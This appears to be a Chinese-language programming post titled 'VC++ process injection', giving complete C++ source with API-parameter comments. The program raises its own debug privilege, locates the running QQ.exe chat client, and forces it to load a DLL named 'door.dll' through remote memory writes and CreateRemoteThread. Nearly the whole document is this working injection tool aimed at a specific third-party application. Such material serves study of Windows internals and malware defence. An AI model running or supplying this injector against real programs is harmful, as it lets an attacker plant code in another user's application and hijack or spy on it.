VC++进程注入

// stdafx.h : 标准系统包含文件的包含文件，
// 或是经常使用但不常更改的
// 特定于项目的包含文件
//

#pragma once

#include "targetver.h"

#include <stdio.h>
#include <tchar.h>

//myself
#include <Windows.h>

#include <TlHelp32.h>

#include <iostream>
using namespace std;

// TODO: 在此处引用程序需要的其他头文件

// Inject.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"

/*
* 提升进程的权限
*/
int EnableDebugePriv(const char * name){

HANDLE hToken;
/*
* 访问令牌特权结构体
* PrivilegeCount： the number of  entries in the Privileges array
* Privileges[ANYSIZE_ARRAY]：
*   LUID ：特权属性的名字
*   SE_PRIVILEGE_ENABLED ：启用了特权
*/
TOKEN_PRIVILEGES tp;
/*
* locally unique identifier (LUID) is guaranteed only until the system is restarted.
* call the LookupPrivilegeName function, passing the address of the LUID as the value of the lpLuid parameter.
*/
LUID luid;

/*
* The OpenProcessToken function opens the access token associated with a process.（打开进程令牌环）
*   ProcessHandle [in]: A handle to the process whose access token is opened.
*   DesiredAccess [in]：Required to enable or disable the privileges in an access token.
*   TokenHandle [out] ：A pointer to a handle that identifies the newly opened access token when the function returns.
*/
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken);

/*
* [lpSystemName]- [in, optional] :If a null string is specified, the function attempts to find the privilege name on the local system.
* [lpName]-[in]  : 可以指定为一个常量
* [lpLuid]-[out] : 返回一个指定的LUID
*/
LookupPrivilegeValue(NULL,name,&luid);

tp.PrivilegeCount=1;
tp.Privileges[0].Luid=luid;
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

/*
* Enabling or disabling privileges in an access token requires TOKEN_ADJUST_PRIVILEGES access.
*   TokenHandle [in]: The handle must have TOKEN_ADJUST_PRIVILEGES access to the token. If the PreviousState parameter is not NULL,
*                    the handle must also have TOKEN_QUERY access.
*   DisableAllPrivileges [in]: Specifies whether the function disables all of the token's privileges.If it is FALSE, the function
*							   modifies privileges based on the information pointed to by the NewState parameter.
*   NewState [in, optional]: the DisableAllPrivileges parameter is FALSE, the AdjustTokenPrivileges function enables,
*							 disables, or removes these privileges for the token.
*   BufferLength [in]: Specifies the size, in bytes, of the buffer pointed to by the PreviousState parameter.
*   PreviousState [out, optional]:  If the PrivilegeCount member of TOKEN_PRIVILEGES is zero,
*									then no privileges have been changed by this function. This parameter can be NULL.
*   ReturnLength [out, optional]:　 pointer to a variable that receives the required size, in bytes, of the buffer pointed to
*									by the PreviousState parameter. This parameter can be NULL if PreviousState is NULL.
*
*/
AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);

return 0;

}

BOOL InjectDLL(const char * DllFullPath, const DWORD dwRemoteProcessId){

HANDLE hRemoteProcess;
/*
*
*/
EnableDebugePriv(SE_DEBUG_NAME);

//打开远程线程
/*
* Opens an existing local process object.
*   dwDesiredAccess [in] : 对进程的访问类型
*	bInheritHandle [in]  ：
*	dwProcessId [in]	 : The identifier of the local process to be opened.
*/
hRemoteProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwRemoteProcessId);

char * pszLibFileRemote;
//使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间
/*
* Reserves or commits a region of memory within the virtual address space of a specified process.
* The function initializes the memory it allocates to zero
*   hProcess [in] : The handle to a process. The function allocates memory within the virtual address space of this process.
*	lpAddress [in, optional] : If lpAddress is NULL, the function determines where to allocate the region.
*	dwSize [in] : The size of the region of memory to allocate, in bytes.
*	flAllocationType [in] : The type of memory allocation.
*	flProtect [in] :The memory protection for the region of pages to be allocated.
*/
pszLibFileRemote=(char *)VirtualAllocEx(hRemoteProcess,NULL,lstrlen(DllFullPath)+1,MEM_COMMIT,PAGE_READWRITE);

//使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间
/*
* Writes data to an area of memory in a specified process.
*   hProcess [in]： A handle to the process memory to be modified.
*	lpBaseAddress [in] ：A pointer to the base address in the specified process to which data is written.
*	lpBuffer [in] ：A pointer to the buffer that contains data to be written in the address space of the specified process.
*	nSize [in] ：The number of bytes to be written to the specified process.
*	lpNumberOfBytesWritten [out] ： If lpNumberOfBytesWritten is NULL, the parameter is ignored.
*
*/
WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(void *)DllFullPath,lstrlen(DllFullPath)+1,NULL);

//在宿主中启用新的线程使用LoadLibraryA()函数加载的
//计算LoadLibraryA的入口地址
/*
* Retrieves(检索) the address of an exported function or variable from the specified dynamic-link library (DLL).
*   hModule [in] : A handle to the DLL module that contains the function or variable.
*				   The LoadLibrary, LoadLibraryEx, LoadPackagedLibrary, or GetModuleHandle function returns this handle.
*	lpProcName [in] ： The function or variable name, or the function's ordinal value. If this parameter is an ordinal value,
*					   it must be in the low-order word; the high-order word must be zero.
*/

//计算LoadLibraryA的入口地址
PTHREAD_START_ROUTINE pfnStartAddr=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")),"LoadLibraryA");

//启动远程线程LoadLibraryA，通过远程线程调用创建新的线程
HANDLE hRemoteThread;

/*
* Creates a thread that runs in the virtual address space of another process.
*   hProcess [in] : A handle to the process in which the thread is to be created.
*	lpThreadAttributes [in] : A pointer to a SECURITY_ATTRIBUTES structure that specifies a security descriptor
*							  for the new thread and determines whether child processes can inherit the returned handle.
*							  If lpThreadAttributes is NULL, the thread gets a default security descriptor and the handle
*							  cannot be inherited.
*   dwStackSize [in] : The initial size of the stack, in bytes.If this parameter is 0 (zero),
*					   the new thread uses the default size for the executable.
*	lpStartAddress [in] : A pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread
*					      and represents the starting address of the thread in the remote process.
*	lpParameter [in] : A pointer to a variable to be passed to the thread function.
*	dwCreationFlags [in] : The flags that control the creation of the thread.
*	lpThreadId [out] :
*/
if((hRemoteThread=CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL))==NULL){

cout<<"线程注入失败！"<<endl;
return FALSE;
}

//释放句柄
CloseHandle(hRemoteThread);
CloseHandle(hRemoteProcess);

return TRUE;
}

DWORD GetProcessId(){
DWORD Pid=-1;

/*
* Takes a snapshot of the specified processes
*   dwFlags [in]: TH32CS_SNAPPROCESS-Includes all processes in the system in the snapshot.
*   th32ProcessID [in]: The process identifier of the process to be included in the snapshot.
*						This parameter can be zero to indicate the current process. This parameter is used when the TH32CS_SNAPHEAPLIST,
*						TH32CS_SNAPMODULE, TH32CS_SNAPMODULE32, or TH32CS_SNAPALL value is specified.
*						Otherwise, it is ignored and all processes are included in the snapshot.
*/
HANDLE hSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//创建系统快照
/*
* Describes an entry from a list of the processes residing in the system address space when a snapshot was taken.
*   th32ProcessID: The process identifier.
*	szExeFile : The name of the executable file for the process.
*/
PROCESSENTRY32 lPrs;
ZeroMemory(&lPrs,sizeof(PROCESSENTRY32));
lPrs.dwSize=sizeof(lPrs);
char * TargetFile="QQ.exe";

/*
* Retrieves information about the first process encountered in a system snapshot.
*   hSnapshot [in] : A handle to the snapshot returned from a previous call to the CreateToolhelp32Snapshot function.
*	lppe [in, out] : A pointer to a PROCESSENTRY32 structure.
*/
Process32First(hSnap,&lPrs);
if(strstr(TargetFile,lPrs.szExeFile)!=NULL){
Pid=lPrs.th32ProcessID;
return Pid;
}
while(1){
ZeroMemory(&lPrs,sizeof(PROCESSENTRY32));
lPrs.dwSize=sizeof(lPrs);

/*
* Returns TRUE if the next entry of the process list has been copied to the buffer or FALSE otherwise.
* The comparison is case-sensitive.
*/
if(!Process32Next(hSnap,&lPrs)){

Pid=-1;
break;
}
/*
* Returns the address of the first occurrence of the matching substring if successful, or NULL otherwise.
*/
if(strstr(TargetFile,lPrs.szExeFile)!=NULL){

Pid=lPrs.th32ProcessID;
break;
}

}
return Pid;
}

int _tmain(int argc, _TCHAR* argv[])
{
char myFile[MAX_PATH];
GetCurrentDirectory(MAX_PATH,myFile);

//取得当前路径给myFile
strcat(myFile,"\\door.dll");
InjectDLL(myFile,GetProcessId());

return 0;
}